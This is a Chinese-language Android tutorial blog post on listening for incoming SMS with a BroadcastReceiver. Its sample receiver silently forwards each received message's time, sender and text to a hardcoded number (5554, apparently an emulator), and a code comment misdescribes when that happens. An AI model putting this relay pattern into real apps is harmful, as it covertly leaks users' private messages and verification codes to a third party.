• 短信监听器


      短信监听器是通过广播实现的,当系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播Intent,该Intent存放了接收到的短信内容,使用名称“pdus”即可从Intent中获取短信内容。

      广播接收者(BroadcastReceiver)用于异步接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,广播接收者和JMS中的Topic消息接收者很相似。要实现一个广播接收者方法如下:

    第一步:继承BroadcastReceiver,并重写onReceive()方法。
    public class IncomingSMSReceiver extends BroadcastReceiver { 
    @Override 
    public void onReceive(Context context, Intent intent) { 
      } 
    } 
    

     
    第二步:订阅感兴趣的广播Intent,订阅方法有两种:
    第一种:使用代码进行订阅
    IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); 
    IncomingSMSReceiver receiver = new IncomingSMSReceiver(); 
    registerReceiver(receiver, filter); 
    
    第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:
    <receiver android:name=".IncomingSMSReceiver"> 
        <intent-filter> 
             <action android:name="android.provider.Telephony.SMS_RECEIVED"/> 
        </intent-filter> 
    </receiver> 
    
     
     
     
    具体代码如下:
    package lm.smsListener;
    
    import android.app.Activity;
    import android.content.IntentFilter;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Toast;
    
    public class TestSmsListenerActivity extends Activity {
        /** Called when the activity is first created. */
    	private SmsRecevier sr;
    	private static final String SMS_ACTION = "android.provider.Telephony.SMS_RECEIVED";
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.main);
        }
        
        public void regist(View view){
        	//创建一个BCReceiver对象
        	sr = new SmsRecevier();
        	//创建一个filter对象
        	IntentFilter filter = new IntentFilter(SMS_ACTION);
        	this.registerReceiver(sr, filter);
        	
        }
    
        public void unregist(View v) {
        	if(sr!=null) {
        		unregisterReceiver(sr);
        		sr = null;
        		Toast.makeText(this, "解除注册", 0).show();
        	} else {
        		Toast.makeText(this, "未注册", 0).show();
        	}
        }
        @Override
        protected void onDestroy() {
        	super.onDestroy();
        	if(sr!=null) {
        		unregisterReceiver(sr);
        		sr = null;
        		Toast.makeText(this, "解除注册", 0).show();
        	} 
        }
    }
    
     
    广播接受者代码
    package lm.smsListener;
    import java.text.SimpleDateFormat;
    import java.util.Date;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.telephony.SmsManager;
    import android.telephony.SmsMessage;
    import android.util.Log;
    public class SmsRecevier extends BroadcastReceiver{
     public SmsRecevier(){
      Log.v("TAG", "oncreat");
     }
     @Override
     public void onReceive(Context context, Intent intent) {
      // TODO Auto-generated method stub
      Log.v("TAG", "SmsBR onReceive()");
      Object[] pdus = (Object[]) intent.getExtras().get("pdus");
      if (pdus != null && pdus.length > 0) {
       SmsMessage[] messages = new SmsMessage[pdus.length];
       for (int i = 0; i < pdus.length; i++) {
        byte[] pdu = (byte[]) pdus[i];
        messages[i] = SmsMessage.createFromPdu(pdu);
       }
       for (SmsMessage msg : messages) {
        String content = msg.getMessageBody();
        String sender = msg.getOriginatingAddress();
        if (sender.equals("1234")) {
         abortBroadcast(); // 中止广播的继续传播
         Log.e("TAG", "此号码为黑名单号码!");
        }
        //当解除注册的时候将短信内容发送到下面的指定号码中.
        Date date = new Date(msg.getTimestampMillis());
        SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//当前时间
        String sendContent = format.format(date) + ":" + sender + "--" + content;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage("5554", null, sendContent, null, null);
        Log.v("TAG", sendContent);
       }
      }
     }
    }
    
    
    

  • 相关阅读:
    ubuntu下常用的apt-get 命令参数
    探索equals()和hashCode()方法
    Java多线程编程核心技术
    线程的状态
    详解Java中的clone方法
    为什么String类是不可变的?
    深入理解final和static关键字
    彻底理解ThreadLocal
    反射消除String类对象的不可变特性
    进程和线程
  • 原文地址:https://www.cnblogs.com/limingblogs/p/2218315.html
Copyright © 2020-2023  润新知